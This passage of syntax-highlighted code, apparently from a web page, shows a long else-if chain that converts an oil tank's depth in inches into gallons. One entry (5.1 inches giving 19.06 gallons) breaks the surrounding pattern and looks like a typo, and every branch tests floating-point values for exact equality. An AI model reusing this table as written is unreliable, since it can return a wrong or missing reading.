</span></span><span class="line"><span class="cl">    <span class="k">else</span> <span class="k">if</span><span class="p">(</span><span class="n">inches_of_oil</span> <span class="o">==</span> <span class="mf">12.4</span><span class="p">)</span> <span class="p">{</span> <span class="n">gallons_of_oil</span> <span class="o">=</span> <span class="mf">67.8</span><span class="p">;</span> <span class="p">}</span>
</span></span><span class="line"><span class="cl">    <span class="k">else</span> <span class="k">if</span><span class="p">(</span><span class="n">inches_of_oil</span> <span class="o">==</span> <span class="mf">12.3</span><span class="p">)</span> <span class="p">{</span> <span class="n">gallons_of_oil</span> <span class="o">=</span> <span class="mf">67.1</span><span class="p">;</span> <span class="p">}</span>
</span></span><span class="line"><span class="cl">    <span class="k">else</span> <span class="k">if</span><span class="p">(</span><span class="n">inches_of_oil</span> <span class="o">==</span> <span class="mf">12.2</span><span class="p">)</span> <span class="p">{</span> <span class="n">gallons_of_oil</span> <span class="o">=</span> <span class="mf">66.4</span><span class="p">;</span> <span class="p">}</span>
</span></span><span class="line"><span class="cl">    <span class="k">else</span> <span class="k">if</span><span class="p">(</span><span class="n">inches_of_oil</span> <span class="o">==</span> <span class="mf">12.1</span><span class="p">)</span> <span class="p">{</span> <span class="n">gallons_of_oil</span> <span class="o">=</span> <span class="mf">65.7</span><span class="p">;</span> <span class="p">}</span>
</span></span><span class="line"><span class="cl">    <span class="k">else</span> <span class="k">if</span><span class="p">(</span><span class="n">inches_of_oil</span> <span class="o">==</span> <span class="mi">12</span><span class="p">)</span> <span class="p">{</span> <span class="n">gallons_of_oil</span> <span class="o">=</span> <span class="mi">65</span><span class="p">;</span> <span class="p">}</span>
</span></span><span class="line"><span class="cl">    <span class="k">else</span> <span class="k">if</span><span class="p">(</span><span class="n">inches_of_oil</span> <span class="o">==</span> <span class="mf">11.9</span><span class="p">)</span> <span class="p">{</span> <span class="n">gallons_of_oil</span> <span class="o">=</span> <span class="mf">64.3</span><span class="p">;</span> <span class="p">}</span>
</span></span><span class="line"><span class="cl">    <span class="k">else</span> <span class="k">if</span><span class="p">(</span><span class="n">inches_of_oil</span> <span class="o">==</span> <span class="mf">11.8</span><span class="p">)</span> <span class="p">{</span> <span class="n">gallons_of_oil</span> <span class="o">=</span> <span class="mf">63.6</span><span class="p">;</span> <span class="p">}</span>
</span></span><span class="line"><span class="cl">    <span class="k">else</span> <span class="k">if</span><span class="p">(</span><span class="n">inches_of_oil</span> <span class="o">==</span> <span class="mf">11.7</span><span class="p">)</span> <span class="p">{</span> <span class="n">gallons_of_oil</span> <span class="o">=</span> <span class="mf">62.9</span><span class="p">;</span> <span class="p">}</span>
</span></span><span class="line"><span class="cl">    <span class="k">else</span> <span class="k">if</span><span class="p">(</span><span class="n">inches_of_oil</span> <span class="o">==</span> <span class="mf">11.6</span><span class="p">)</span> <span class="p">{</span> <span class="n">gallons_of_oil</span> <span class="o">=</span> <span class="mf">62.2</span><span class="p">;</span> <span class="p">}</span>
</span></span><span class="line"><span class="cl">    <span class="k">else</span> <span class="k">if</span><span class="p">(</span><span class="n">inches_of_oil</span> <span class="o">==</span> <span class="mf">11.5</span><span class="p">)</span> <span class="p">{</span> <span class="n">gallons_of_oil</span> <span class="o">=</span> <span class="mf">61.5</span><span class="p">;</span> <span class="p">}</span>
</span></span><span class="line"><span class="cl">    <span class="k">else</span> <span class="k">if</span><span class="p">(</span><span class="n">inches_of_oil</span> <span class="o">==</span> <span class="mf">11.4</span><span class="p">)</span> <span class="p">{</span> <span class="n">gallons_of_oil</span> <span class="o">=</span> <span class="mf">60.8</span><span class="p">;</span> <span class="p">}</span>
</span></span><span class="line"><span class="cl">    <span class="k">else</span> <span class="k">if</span><span class="p">(</span><span class="n">inches_of_oil</span> <span class="o">==</span> <span class="mf">11.3</span><span class="p">)</span> <span class="p">{</span> <span class="n">gallons_of_oil</span> <span class="o">=</span> <span class="mf">60.1</span><span class="p">;</span> <span class="p">}</span>
</span></span><span class="line"><span class="cl">    <span class="k">else</span> <span class="k">if</span><span class="p">(</span><span class="n">inches_of_oil</span> <span class="o">==</span> <span class="mf">11.2</span><span class="p">)</span> <span class="p">{</span> <span class="n">gallons_of_oil</span> <span class="o">=</span> <span class="mf">59.4</span><span class="p">;</span> <span class="p">}</span>
</span></span><span class="line"><span class="cl">    <span class="k">else</span> <span class="k">if</span><span class="p">(</span><span class="n">inches_of_oil</span> <span class="o">==</span> <span class="mf">11.1</span><span class="p">)</span> <span class="p">{</span> <span class="n">gallons_of_oil</span> <span class="o">=</span> <span class="mf">58.7</span><span class="p">;</span> <span class="p">}</span>
</span></span><span class="line"><span class="cl">    <span class="k">else</span> <span class="k">if</span><span class="p">(</span><span class="n">inches_of_oil</span> <span class="o">==</span> <span class="mi">11</span><span class="p">)</span> <span class="p">{</span> <span class="n">gallons_of_oil</span> <span class="o">=</span> <span class="mi">58</span><span class="p">;</span> <span class="p">}</span>
</span></span><span class="line"><span class="cl">    <span class="k">else</span> <span class="k">if</span><span class="p">(</span><span class="n">inches_of_oil</span> <span class="o">==</span> <span class="mf">10.9</span><span class="p">)</span> <span class="p">{</span> <span class="n">gallons_of_oil</span> <span class="o">=</span> <span class="mf">57.3</span><span class="p">;</span> <span class="p">}</span>
</span></span><span class="line"><span class="cl">    <span class="k">else</span> <span class="k">if</span><span class="p">(</span><span class="n">inches_of_oil</span> <span class="o">==</span> <span class="mf">10.8</span><span class="p">)</span> <span class="p">{</span> <span class="n">gallons_of_oil</span> <span class="o">=</span> <span class="mf">56.6</span><span class="p">;</span> <span class="p">}</span>
</span></span><span class="line"><span class="cl">    <span class="k">else</span> <span class="k">if</span><span class="p">(</span><span class="n">inches_of_oil</span> <span class="o">==</span> <span class="mf">10.7</span><span class="p">)</span> <span class="p">{</span> <span class="n">gallons_of_oil</span> <span class="o">=</span> <span class="mf">55.9</span><span class="p">;</span> <span class="p">}</span>
</span></span><span class="line"><span class="cl">    <span class="k">else</span> <span class="k">if</span><span class="p">(</span><span class="n">inches_of_oil</span> <span class="o">==</span> <span class="mf">10.6</span><span class="p">)</span> <span class="p">{</span> <span class="n">gallons_of_oil</span> <span class="o">=</span> <span class="mf">55.2</span><span class="p">;</span> <span class="p">}</span>
</span></span><span class="line"><span class="cl">    <span class="k">else</span> <span class="k">if</span><span class="p">(</span><span class="n">inches_of_oil</span> <span class="o">==</span> <span class="mf">10.5</span><span class="p">)</span> <span class="p">{</span> <span class="n">gallons_of_oil</span> <span class="o">=</span> <span class="mf">54.5</span><span class="p">;</span> <span class="p">}</span>
</span></span><span class="line"><span class="cl">    <span class="k">else</span> <span class="k">if</span><span class="p">(</span><span class="n">inches_of_oil</span> <span class="o">==</span> <span class="mf">10.4</span><span class="p">)</span> <span class="p">{</span> <span class="n">gallons_of_oil</span> <span class="o">=</span> <span class="mf">53.8</span><span class="p">;</span> <span class="p">}</span>
</span></span><span class="line"><span class="cl">    <span class="k">else</span> <span class="k">if</span><span class="p">(</span><span class="n">inches_of_oil</span> <span class="o">==</span> <span class="mf">10.3</span><span class="p">)</span> <span class="p">{</span> <span class="n">gallons_of_oil</span> <span class="o">=</span> <span class="mf">53.1</span><span class="p">;</span> <span class="p">}</span>
</span></span><span class="line"><span class="cl">    <span class="k">else</span> <span class="k">if</span><span class="p">(</span><span class="n">inches_of_oil</span> <span class="o">==</span> <span class="mf">10.2</span><span class="p">)</span> <span class="p">{</span> <span class="n">gallons_of_oil</span> <span class="o">=</span> <span class="mf">52.4</span><span class="p">;</span> <span class="p">}</span>
</span></span><span class="line"><span class="cl">    <span class="k">else</span> <span class="k">if</span><span class="p">(</span><span class="n">inches_of_oil</span> <span class="o">==</span> <span class="mf">10.1</span><span class="p">)</span> <span class="p">{</span> <span class="n">gallons_of_oil</span> <span class="o">=</span> <span class="mf">51.7</span><span class="p">;</span> <span class="p">}</span>
</span></span><span class="line"><span class="cl">    <span class="k">else</span> <span class="k">if</span><span class="p">(</span><span class="n">inches_of_oil</span> <span class="o">==</span> <span class="mi">10</span><span class="p">)</span> <span class="p">{</span> <span class="n">gallons_of_oil</span> <span class="o">=</span> <span class="mi">51</span><span class="p">;</span> <span class="p">}</span>
</span></span><span class="line"><span class="cl">    <span class="k">else</span> <span class="k">if</span><span class="p">(</span><span class="n">inches_of_oil</span> <span class="o">==</span> <span class="mf">9.9</span><span class="p">)</span> <span class="p">{</span> <span class="n">gallons_of_oil</span> <span class="o">=</span> <span class="mf">50.3</span><span class="p">;</span> <span class="p">}</span>
</span></span><span class="line"><span class="cl">    <span class="k">else</span> <span class="k">if</span><span class="p">(</span><span class="n">inches_of_oil</span> <span class="o">==</span> <span class="mf">9.8</span><span class="p">)</span> <span class="p">{</span> <span class="n">gallons_of_oil</span> <span class="o">=</span> <span class="mf">49.6</span><span class="p">;</span> <span class="p">}</span>
</span></span><span class="line"><span class="cl">    <span class="k">else</span> <span class="k">if</span><span class="p">(</span><span class="n">inches_of_oil</span> <span class="o">==</span> <span class="mf">9.7</span><span class="p">)</span> <span class="p">{</span> <span class="n">gallons_of_oil</span> <span class="o">=</span> <span class="mf">48.9</span><span class="p">;</span> <span class="p">}</span>
</span></span><span class="line"><span class="cl">    <span class="k">else</span> <span class="k">if</span><span class="p">(</span><span class="n">inches_of_oil</span> <span class="o">==</span> <span class="mf">9.6</span><span class="p">)</span> <span class="p">{</span> <span class="n">gallons_of_oil</span> <span class="o">=</span> <span class="mf">48.2</span><span class="p">;</span> <span class="p">}</span>
</span></span><span class="line"><span class="cl">    <span class="k">else</span> <span class="k">if</span><span class="p">(</span><span class="n">inches_of_oil</span> <span class="o">==</span> <span class="mf">9.5</span><span class="p">)</span> <span class="p">{</span> <span class="n">gallons_of_oil</span> <span class="o">=</span> <span class="mf">47.5</span><span class="p">;</span> <span class="p">}</span>
</span></span><span class="line"><span class="cl">    <span class="k">else</span> <span class="k">if</span><span class="p">(</span><span class="n">inches_of_oil</span> <span class="o">==</span> <span class="mf">9.4</span><span class="p">)</span> <span class="p">{</span> <span class="n">gallons_of_oil</span> <span class="o">=</span> <span class="mf">46.8</span><span class="p">;</span> <span class="p">}</span>
</span></span><span class="line"><span class="cl">    <span class="k">else</span> <span class="k">if</span><span class="p">(</span><span class="n">inches_of_oil</span> <span class="o">==</span> <span class="mf">9.3</span><span class="p">)</span> <span class="p">{</span> <span class="n">gallons_of_oil</span> <span class="o">=</span> <span class="mf">46.1</span><span class="p">;</span> <span class="p">}</span>
</span></span><span class="line"><span class="cl">    <span class="k">else</span> <span class="k">if</span><span class="p">(</span><span class="n">inches_of_oil</span> <span class="o">==</span> <span class="mf">9.2</span><span class="p">)</span> <span class="p">{</span> <span class="n">gallons_of_oil</span> <span class="o">=</span> <span class="mf">45.4</span><span class="p">;</span> <span class="p">}</span>
</span></span><span class="line"><span class="cl">    <span class="k">else</span> <span class="k">if</span><span class="p">(</span><span class="n">inches_of_oil</span> <span class="o">==</span> <span class="mf">9.1</span><span class="p">)</span> <span class="p">{</span> <span class="n">gallons_of_oil</span> <span class="o">=</span> <span class="mf">44.7</span><span class="p">;</span> <span class="p">}</span>
</span></span><span class="line"><span class="cl">    <span class="k">else</span> <span class="k">if</span><span class="p">(</span><span class="n">inches_of_oil</span> <span class="o">==</span> <span class="mi">9</span><span class="p">)</span> <span class="p">{</span> <span class="n">gallons_of_oil</span> <span class="o">=</span> <span class="mi">44</span><span class="p">;</span> <span class="p">}</span>
</span></span><span class="line"><span class="cl">    <span class="k">else</span> <span class="k">if</span><span class="p">(</span><span class="n">inches_of_oil</span> <span class="o">==</span> <span class="mf">8.9</span><span class="p">)</span> <span class="p">{</span> <span class="n">gallons_of_oil</span> <span class="o">=</span> <span class="mf">43.4</span><span class="p">;</span> <span class="p">}</span>
</span></span><span class="line"><span class="cl">    <span class="k">else</span> <span class="k">if</span><span class="p">(</span><span class="n">inches_of_oil</span> <span class="o">==</span> <span class="mf">8.8</span><span class="p">)</span> <span class="p">{</span> <span class="n">gallons_of_oil</span> <span class="o">=</span> <span class="mf">42.8</span><span class="p">;</span> <span class="p">}</span>
</span></span><span class="line"><span class="cl">    <span class="k">else</span> <span class="k">if</span><span class="p">(</span><span class="n">inches_of_oil</span> <span class="o">==</span> <span class="mf">8.7</span><span class="p">)</span> <span class="p">{</span> <span class="n">gallons_of_oil</span> <span class="o">=</span> <span class="mf">42.2</span><span class="p">;</span> <span class="p">}</span>
</span></span><span class="line"><span class="cl">    <span class="k">else</span> <span class="k">if</span><span class="p">(</span><span class="n">inches_of_oil</span> <span class="o">==</span> <span class="mf">8.6</span><span class="p">)</span> <span class="p">{</span> <span class="n">gallons_of_oil</span> <span class="o">=</span> <span class="mf">41.6</span><span class="p">;</span> <span class="p">}</span>
</span></span><span class="line"><span class="cl">    <span class="k">else</span> <span class="k">if</span><span class="p">(</span><span class="n">inches_of_oil</span> <span class="o">==</span> <span class="mf">8.5</span><span class="p">)</span> <span class="p">{</span> <span class="n">gallons_of_oil</span> <span class="o">=</span> <span class="mi">41</span><span class="p">;</span> <span class="p">}</span>
</span></span><span class="line"><span class="cl">    <span class="k">else</span> <span class="k">if</span><span class="p">(</span><span class="n">inches_of_oil</span> <span class="o">==</span> <span class="mf">8.4</span><span class="p">)</span> <span class="p">{</span> <span class="n">gallons_of_oil</span> <span class="o">=</span> <span class="mf">40.4</span><span class="p">;</span> <span class="p">}</span>
</span></span><span class="line"><span class="cl">    <span class="k">else</span> <span class="k">if</span><span class="p">(</span><span class="n">inches_of_oil</span> <span class="o">==</span> <span class="mf">8.3</span><span class="p">)</span> <span class="p">{</span> <span class="n">gallons_of_oil</span> <span class="o">=</span> <span class="mf">39.8</span><span class="p">;</span> <span class="p">}</span>
</span></span><span class="line"><span class="cl">    <span class="k">else</span> <span class="k">if</span><span class="p">(</span><span class="n">inches_of_oil</span> <span class="o">==</span> <span class="mf">8.2</span><span class="p">)</span> <span class="p">{</span> <span class="n">gallons_of_oil</span> <span class="o">=</span> <span class="mf">39.2</span><span class="p">;</span> <span class="p">}</span>
</span></span><span class="line"><span class="cl">    <span class="k">else</span> <span class="k">if</span><span class="p">(</span><span class="n">inches_of_oil</span> <span class="o">==</span> <span class="mf">8.1</span><span class="p">)</span> <span class="p">{</span> <span class="n">gallons_of_oil</span> <span class="o">=</span> <span class="mf">38.6</span><span class="p">;</span> <span class="p">}</span>
</span></span><span class="line"><span class="cl">    <span class="k">else</span> <span class="k">if</span><span class="p">(</span><span class="n">inches_of_oil</span> <span class="o">==</span> <span class="mi">8</span><span class="p">)</span> <span class="p">{</span> <span class="n">gallons_of_oil</span> <span class="o">=</span> <span class="mi">38</span><span class="p">;</span> <span class="p">}</span>
</span></span><span class="line"><span class="cl">    <span class="k">else</span> <span class="k">if</span><span class="p">(</span><span class="n">inches_of_oil</span> <span class="o">==</span> <span class="mf">7.9</span><span class="p">)</span> <span class="p">{</span> <span class="n">gallons_of_oil</span> <span class="o">=</span> <span class="mf">37.3</span><span class="p">;</span> <span class="p">}</span>
</span></span><span class="line"><span class="cl">    <span class="k">else</span> <span class="k">if</span><span class="p">(</span><span class="n">inches_of_oil</span> <span class="o">==</span> <span class="mf">7.8</span><span class="p">)</span> <span class="p">{</span> <span class="n">gallons_of_oil</span> <span class="o">=</span> <span class="mf">36.6</span><span class="p">;</span> <span class="p">}</span>
</span></span><span class="line"><span class="cl">    <span class="k">else</span> <span class="k">if</span><span class="p">(</span><span class="n">inches_of_oil</span> <span class="o">==</span> <span class="mf">7.7</span><span class="p">)</span> <span class="p">{</span> <span class="n">gallons_of_oil</span> <span class="o">=</span> <span class="mf">35.9</span><span class="p">;</span> <span class="p">}</span>
</span></span><span class="line"><span class="cl">    <span class="k">else</span> <span class="k">if</span><span class="p">(</span><span class="n">inches_of_oil</span> <span class="o">==</span> <span class="mf">7.6</span><span class="p">)</span> <span class="p">{</span> <span class="n">gallons_of_oil</span> <span class="o">=</span> <span class="mf">35.2</span><span class="p">;</span> <span class="p">}</span>
</span></span><span class="line"><span class="cl">    <span class="k">else</span> <span class="k">if</span><span class="p">(</span><span class="n">inches_of_oil</span> <span class="o">==</span> <span class="mf">7.5</span><span class="p">)</span> <span class="p">{</span> <span class="n">gallons_of_oil</span> <span class="o">=</span> <span class="mf">34.5</span><span class="p">;</span> <span class="p">}</span>
</span></span><span class="line"><span class="cl">    <span class="k">else</span> <span class="k">if</span><span class="p">(</span><span class="n">inches_of_oil</span> <span class="o">==</span> <span class="mf">7.4</span><span class="p">)</span> <span class="p">{</span> <span class="n">gallons_of_oil</span> <span class="o">=</span> <span class="mf">33.8</span><span class="p">;</span> <span class="p">}</span>
</span></span><span class="line"><span class="cl">    <span class="k">else</span> <span class="k">if</span><span class="p">(</span><span class="n">inches_of_oil</span> <span class="o">==</span> <span class="mf">7.3</span><span class="p">)</span> <span class="p">{</span> <span class="n">gallons_of_oil</span> <span class="o">=</span> <span class="mf">33.1</span><span class="p">;</span> <span class="p">}</span>
</span></span><span class="line"><span class="cl">    <span class="k">else</span> <span class="k">if</span><span class="p">(</span><span class="n">inches_of_oil</span> <span class="o">==</span> <span class="mf">7.2</span><span class="p">)</span> <span class="p">{</span> <span class="n">gallons_of_oil</span> <span class="o">=</span> <span class="mf">32.4</span><span class="p">;</span> <span class="p">}</span>
</span></span><span class="line"><span class="cl">    <span class="k">else</span> <span class="k">if</span><span class="p">(</span><span class="n">inches_of_oil</span> <span class="o">==</span> <span class="mf">7.1</span><span class="p">)</span> <span class="p">{</span> <span class="n">gallons_of_oil</span> <span class="o">=</span> <span class="mf">31.7</span><span class="p">;</span> <span class="p">}</span>
</span></span><span class="line"><span class="cl">    <span class="k">else</span> <span class="k">if</span><span class="p">(</span><span class="n">inches_of_oil</span> <span class="o">==</span> <span class="mi">7</span><span class="p">)</span> <span class="p">{</span> <span class="n">gallons_of_oil</span> <span class="o">=</span> <span class="mi">31</span><span class="p">;</span> <span class="p">}</span>
</span></span><span class="line"><span class="cl">    <span class="k">else</span> <span class="k">if</span><span class="p">(</span><span class="n">inches_of_oil</span> <span class="o">==</span> <span class="mf">6.9</span><span class="p">)</span> <span class="p">{</span> <span class="n">gallons_of_oil</span> <span class="o">=</span> <span class="mf">30.4</span><span class="p">;</span> <span class="p">}</span>
</span></span><span class="line"><span class="cl">    <span class="k">else</span> <span class="k">if</span><span class="p">(</span><span class="n">inches_of_oil</span> <span class="o">==</span> <span class="mf">6.8</span><span class="p">)</span> <span class="p">{</span> <span class="n">gallons_of_oil</span> <span class="o">=</span> <span class="mf">29.8</span><span class="p">;</span> <span class="p">}</span>
</span></span><span class="line"><span class="cl">    <span class="k">else</span> <span class="k">if</span><span class="p">(</span><span class="n">inches_of_oil</span> <span class="o">==</span> <span class="mf">6.7</span><span class="p">)</span> <span class="p">{</span> <span class="n">gallons_of_oil</span> <span class="o">=</span> <span class="mf">29.2</span><span class="p">;</span> <span class="p">}</span>
</span></span><span class="line"><span class="cl">    <span class="k">else</span> <span class="k">if</span><span class="p">(</span><span class="n">inches_of_oil</span> <span class="o">==</span> <span class="mf">6.6</span><span class="p">)</span> <span class="p">{</span> <span class="n">gallons_of_oil</span> <span class="o">=</span> <span class="mf">28.6</span><span class="p">;</span> <span class="p">}</span>
</span></span><span class="line"><span class="cl">    <span class="k">else</span> <span class="k">if</span><span class="p">(</span><span class="n">inches_of_oil</span> <span class="o">==</span> <span class="mf">6.5</span><span class="p">)</span> <span class="p">{</span> <span class="n">gallons_of_oil</span> <span class="o">=</span> <span class="mi">28</span><span class="p">;</span> <span class="p">}</span>
</span></span><span class="line"><span class="cl">    <span class="k">else</span> <span class="k">if</span><span class="p">(</span><span class="n">inches_of_oil</span> <span class="o">==</span> <span class="mf">6.4</span><span class="p">)</span> <span class="p">{</span> <span class="n">gallons_of_oil</span> <span class="o">=</span> <span class="mf">27.4</span><span class="p">;</span> <span class="p">}</span>
</span></span><span class="line"><span class="cl">    <span class="k">else</span> <span class="k">if</span><span class="p">(</span><span class="n">inches_of_oil</span> <span class="o">==</span> <span class="mf">6.3</span><span class="p">)</span> <span class="p">{</span> <span class="n">gallons_of_oil</span> <span class="o">=</span> <span class="mf">26.8</span><span class="p">;</span> <span class="p">}</span>
</span></span><span class="line"><span class="cl">    <span class="k">else</span> <span class="k">if</span><span class="p">(</span><span class="n">inches_of_oil</span> <span class="o">==</span> <span class="mf">6.2</span><span class="p">)</span> <span class="p">{</span> <span class="n">gallons_of_oil</span> <span class="o">=</span> <span class="mf">26.2</span><span class="p">;</span> <span class="p">}</span>
</span></span><span class="line"><span class="cl">    <span class="k">else</span> <span class="k">if</span><span class="p">(</span><span class="n">inches_of_oil</span> <span class="o">==</span> <span class="mf">6.1</span><span class="p">)</span> <span class="p">{</span> <span class="n">gallons_of_oil</span> <span class="o">=</span> <span class="mf">25.6</span><span class="p">;</span> <span class="p">}</span>
</span></span><span class="line"><span class="cl">    <span class="k">else</span> <span class="k">if</span><span class="p">(</span><span class="n">inches_of_oil</span> <span class="o">==</span> <span class="mi">6</span><span class="p">)</span> <span class="p">{</span> <span class="n">gallons_of_oil</span> <span class="o">=</span> <span class="mi">25</span><span class="p">;</span> <span class="p">}</span>
</span></span><span class="line"><span class="cl">    <span class="k">else</span> <span class="k">if</span><span class="p">(</span><span class="n">inches_of_oil</span> <span class="o">==</span> <span class="mf">5.9</span><span class="p">)</span> <span class="p">{</span> <span class="n">gallons_of_oil</span> <span class="o">=</span> <span class="mf">24.4</span><span class="p">;</span> <span class="p">}</span>
</span></span><span class="line"><span class="cl">    <span class="k">else</span> <span class="k">if</span><span class="p">(</span><span class="n">inches_of_oil</span> <span class="o">==</span> <span class="mf">5.8</span><span class="p">)</span> <span class="p">{</span> <span class="n">gallons_of_oil</span> <span class="o">=</span> <span class="mf">23.8</span><span class="p">;</span> <span class="p">}</span>
</span></span><span class="line"><span class="cl">    <span class="k">else</span> <span class="k">if</span><span class="p">(</span><span class="n">inches_of_oil</span> <span class="o">==</span> <span class="mf">5.7</span><span class="p">)</span> <span class="p">{</span> <span class="n">gallons_of_oil</span> <span class="o">=</span> <span class="mf">23.2</span><span class="p">;</span> <span class="p">}</span>
</span></span><span class="line"><span class="cl">    <span class="k">else</span> <span class="k">if</span><span class="p">(</span><span class="n">inches_of_oil</span> <span class="o">==</span> <span class="mf">5.6</span><span class="p">)</span> <span class="p">{</span> <span class="n">gallons_of_oil</span> <span class="o">=</span> <span class="mf">22.6</span><span class="p">;</span> <span class="p">}</span>
</span></span><span class="line"><span class="cl">    <span class="k">else</span> <span class="k">if</span><span class="p">(</span><span class="n">inches_of_oil</span> <span class="o">==</span> <span class="mf">5.5</span><span class="p">)</span> <span class="p">{</span> <span class="n">gallons_of_oil</span> <span class="o">=</span> <span class="mi">22</span><span class="p">;</span> <span class="p">}</span>
</span></span><span class="line"><span class="cl">    <span class="k">else</span> <span class="k">if</span><span class="p">(</span><span class="n">inches_of_oil</span> <span class="o">==</span> <span class="mf">5.4</span><span class="p">)</span> <span class="p">{</span> <span class="n">gallons_of_oil</span> <span class="o">=</span> <span class="mf">21.4</span><span class="p">;</span> <span class="p">}</span>
</span></span><span class="line"><span class="cl">    <span class="k">else</span> <span class="k">if</span><span class="p">(</span><span class="n">inches_of_oil</span> <span class="o">==</span> <span class="mf">5.3</span><span class="p">)</span> <span class="p">{</span> <span class="n">gallons_of_oil</span> <span class="o">=</span> <span class="mf">20.8</span><span class="p">;</span> <span class="p">}</span>
</span></span><span class="line"><span class="cl">    <span class="k">else</span> <span class="k">if</span><span class="p">(</span><span class="n">inches_of_oil</span> <span class="o">==</span> <span class="mf">5.2</span><span class="p">)</span> <span class="p">{</span> <span class="n">gallons_of_oil</span> <span class="o">=</span> <span class="mf">20.2</span><span class="p">;</span> <span class="p">}</span>
</span></span><span class="line"><span class="cl">    <span class="k">else</span> <span class="k">if</span><span class="p">(</span><span class="n">inches_of_oil</span> <span class="o">==</span> <span class="mf">5.1</span><span class="p">)</span> <span class="p">{</span> <span class="n">gallons_of_oil</span> <span class="o">=</span> <span class="mf">19.06</span><span class="p">;</span> <span class="p">}</span>
</span></span><span class="line"><span class="cl">    <span class="k">else</span> <span class="k">if</span><span class="p">(</span><span class="n">inches_of_oil</span> <span class="o">==</span> <span class="mi">5</span><span class="p">)</span> <span class="p">{</span> <span class="n">gallons_of_oil</span> <span class="o">=</span> <span class="mi">19</span><span class="p">;</span> <span class="p">}</span>
</span></span><span class="line"><span class="cl">    <span class="k">else</span> <span class="k">if</span><span class="p">(</span><span class="n">inches_of_oil</span> <span class="o">==</span> <span class="mf">4.9</span><span class="p">)</span> <span class="p">{</span> <span class="n">gallons_of_oil</span> <span class="o">=</span> <span class="mf">18.5</span><span class="p">;</span> <span class="p">}</span>
</span></span><span class="line"><span class="cl">    <span class="k">else</span> <span class="k">if</span><span class="p">(</span><span class="n">inches_of_oil</span> <span class="o">==</span> <span class="mf">4.8</span><span class="p">)</span> <span class="p">{</span> <span class="n">gallons_of_oil</span> <span class="o">=</span> <span class="mi">18</span><span class="p">;</span> <span class="p">}</span>
</span></span><span class="line"><span class="cl">    <span class="k">else</span> <span class="k">if</span><span class="p">(</span><span class="n">inches_of_oil</span> <span class="o">==</span> <span class="mf">4.7</span><span class="p">)</span> <span class="p">{</span> <span class="n">gallons_of_oil</span> <span class="o">=</span> <span class="mf">17.5</span><span class="p">;</span> <span class="p">}</span>
</span></span><span class="line"><span class="cl">    <span class="k">else</span> <span class="k">if</span><span class="p">(</span><span class="n">inches_of_oil</span> <span class="o">==</span> <span class="mf">4.6</span><span class="p">)</span> <span class="p">{</span> <span class="n">gallons_of_oil</span> <span class="o">=</span> <span class="mi">17</span><span class="p">;</span> <span class="p">}</span>
</span></span><span class="line"><span class="cl">    <span class="k">else</span> <span class="k">if</span><span class="p">(</span><span class="n">inches_of_oil</span> <span class="o">==</span> <span class="mf">4.5</span><span class="p">)</span> <span class="p">{</span> <span class="n">gallons_of_oil</span> <span class="o">=</span> <span class="mf">16.5</span><span class="p">;</span> <span class="p">}</span>
</span></span><span class="line"><span class="cl">    <span class="k">else</span> <span class="k">if</span><span class="p">(</span><span class="n">inches_of_oil</span> <span class="o">==</span> <span class="mf">4.4</span><span class="p">)</span> <span class="p">{</span> <span class="n">gallons_of_oil</span> <span class="o">=</span> <span class="mi">16</span><span class="p">;</span> <span class="p">}</span>
</span></span><span class="line"><span class="cl">    <span class="k">else</span> <span class="k">if</span><span class="p">(</span><span class="n">inches_of_oil</span> <span class="o">==</span> <span class="mf">4.3</span><span class="p">)</span> <span class="p">{</span> <span class="n">gallons_of_oil</span> <span class="o">=</span> <span class="mf">15.5</span><span class="p">;</span> <span class="p">}</span>
</span></span><span class="line"><span class="cl">    <span class="k">else</span> <span class="k">if</span><span class="p">(</span><span class="n">inches_of_oil</span> <span class="o">==</span> <span class="mf">4.2</span><span class="p">)</span> <span class="p">{</span> <span class="n">gallons_of_oil</span> <span class="o">=</span> <span class="mi">15</span><span class="p">;</span> <span class="p">}</span>
</span></span><span class="line"><span class="cl">    <span class="k">else</span> <span class="k">if</span><span class="p">(</span><span class="n">inches_of_oil</span> <span class="o">==</span> <span class="mf">4.1</span><span class="p">)</span> <span class="p">{</span> <span class="n">gallons_of_oil</span> <span class="o">=</span> <span class="mf">14.5</span><span class="p">;</span> <span class="p">}</span>
</span></span><span class="line"><span class="cl">    <span class="k">else</span> <span class="k">if</span><span class="p">(</span><span class="n">inches_of_oil</span> <span class="o">==</span> <span class="mi">4</span><span class="p">)</span> <span class="p">{</span> <span class="n">gallons_of_oil</span> <span class="o">=</span> <span class="mi">14</span><span class="p">;</span> <span class="p">}</span>
</span></span><span class="line"><span class="cl">    <span class="k">else</span> <span class="k">if</span><span class="p">(</span><span class="n">inches_of_oil</span> <span class="o">==</span> <span class="mf">3.9</span><span class="p">)</span> <span class="p">{</span> <span class="n">gallons_of_oil</span> <span class="o">=</span> <span class="mf">13.5</span><span class="p">;</span> <span class="p">}</span>
</span></span><span class="line"><span class="cl">    <span class="k">else</span> <span class="k">if</span><span class="p">(</span><span class="n">inches_of_oil</span> <span class="o">==</span> <span class="mf">3.8</span><span class="p">)</span> <span class="p">{</span> <span class="n">gallons_of_oil</span> <span class="o">=</span> <span class="mi">13</span><span class="p">;</span> <span class="p">}</span>
</span></span><span class="line"><span class="cl">    <span class="k">else</span> <span class="k">if</span><span class="p">(</span><span class="n">inches_of_oil</span> <span class="o">==</span> <span class="mf">3.7</span><span class="p">)</span> <span class="p">{</span> <span class="n">gallons_of_oil</span> <span class="o">=</span> <span class="mf">12.5</span><span class="p">;</span> <span class="p">}</span>
</span></span><span class="line"><span class="cl">    <span class="k">else</span> <span class="k">if</span><span class="p">(</span><span class="n">inches_of_oil</span> <span class="o">==</span> <span class="mf">3.6</span><span class="p">)</span> <span class="p">{</span> <span class="n">gallons_of_oil</span> <span class="o">=</span> <span class="mi">12</span><span class="p">;</span> <span class="p">}</span>
</span></span><span class="line"><span class="cl">    <span class="k">else</span> <span class="k">if</span><span class="p">(</span><span class="n">inches_of_oil</span> <span class="o">==</span> <span class="mf">3.5</span><span class="p">)</span> <span class="p">{</span> <span class="n">gallons_of_oil</span> <span class="o">=</span> <span class="mf">11.5</span><span class="p">;</span> <span class="p">}</span>
</span></span><span class="line"><span class="cl">    <span class="k">else</span> <span class="k">if</span><span class="p">(</span><span class="n">inches_of_oil</span> <span class="o">==</span> <span class="mf">3.4</span><span class="p">)</span> <span class="p">{</span> <span class="n">gallons_of_oil</span> <span class="o">=</span> <span class="mi">11</span><span class="p">;</span> <span class="p">}</span>
